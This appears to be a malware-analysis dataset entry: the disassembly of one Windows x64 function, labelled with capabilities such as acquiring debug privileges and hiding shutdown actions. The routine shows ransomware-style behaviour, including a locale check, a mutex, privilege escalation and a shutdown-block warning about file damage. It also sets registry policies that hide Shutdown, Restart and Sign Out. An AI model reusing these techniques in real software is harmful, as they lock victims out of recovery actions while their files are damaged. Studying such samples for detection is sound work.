Function at 0x140008454
Capabilities:
Acquire debug privileges
Create thread
Hide shutdown actions via policy
Identify system language via api

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x300
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, 0x419
sub ax, cx
cmp ax, 0x2b
ja 0x1400084af
movabs rcx, 0x84000000601
bt rcx, rax
jb 0x14000888a
xor r8d, r8d
lea r9, str.89A72EF01
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
xor r15d, r15d
mov rbx, rax
test rax, rax
je 0x14000888a
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000888a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea rcx, str.PowrProf.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140008525
lea rdx, str.PowerSetActiveScheme
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140008525
lea rdx, [0x14003d7e0]
xor ecx, ecx
call rax
xor ecx, ecx
call fcn.140026b40
mov rcx, rax
call fcn.1400231e8
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.140005a7c
lea rcx, str.SeDebugPrivilege
call fcn.140005a7c
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140008260]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140008580
mov edx, 0x4e20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x28], r15
lea r8, [0x14000dfcc]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
mov qword [0x14005ba48], rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rax, [rbp - 0x20]
lea rax, [rax + rcx*2]
mov rdx, rax
sub rax, 2
cmp word [rax], 0x5c
jne 0x1400085ec
lea rcx, [0x14005ba70]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [0x14005ba70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x14005bb80]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x14005bbf0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x14005bba8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ShutdownBlockReasonCreate
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x1400086e6
xor edx, edx
lea rcx, [rbp - 0x80]
lea r8d, [rdx + 0x48]
call fcn.14001ee30
lea rax, [0x140008444]
xor ecx, ecx
mov qword [rbp - 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x68], rax
lea rcx, [rbp - 0x80]
lea rax, str.window
mov qword [rbp - 0x40], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], r15
xor r9d, r9d
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
movzx edx, ax
mov eax, 0x80000000
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
lea rdx, str.Do_NOT_shutdown_OR_reboot_your_PC:_this_might_damage_your_files_permanently__
call rsi
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], 1
lea r14, str.value
mov qword [rsp + 0x20], rax
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
call fcn.140005890
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rsp + 0x20], rax
call fcn.140005890
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rsp + 0x20], rax
call fcn.140005890
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], r15d
lea r8, str.shutdownwithoutlogon
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.140005890
lea rax, [rbp - 0x30]
lea rsi, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov qword [rsp + 0x20], rax
mov rdx, rsi
lea r8, str.MaxConnectionTime
call fcn.140005890
lea rax, [rbp - 0x30]
mov rdx, rsi
lea r8, str.MaxDisconnectionTime
mov qword [rsp + 0x20], rax
call fcn.140005890
lea rax, [rbp - 0x30]
mov rdx, rsi
lea r8, str.MaxIdleTime
mov qword [rsp + 0x20], rax
call fcn.140005890
xorps xmm0, xmm0
mov qword [rsp + 0x70], r15
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.140007a14
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov qword [rsp + 0x20], rax
call fcn.140005890
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rsp + 0x20], rax
call fcn.140005890
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rsp + 0x20], rax
call fcn.140005890
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], 1
lea r8, str.shutdownwithoutlogon
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.140005890
lea rcx, [0x14005bb80]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x14005bbf0]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x14005bba8]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
or esi, 0xffffffff
test rbx, rbx
je 0x140008871
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x14000888a
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.14001bfb0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret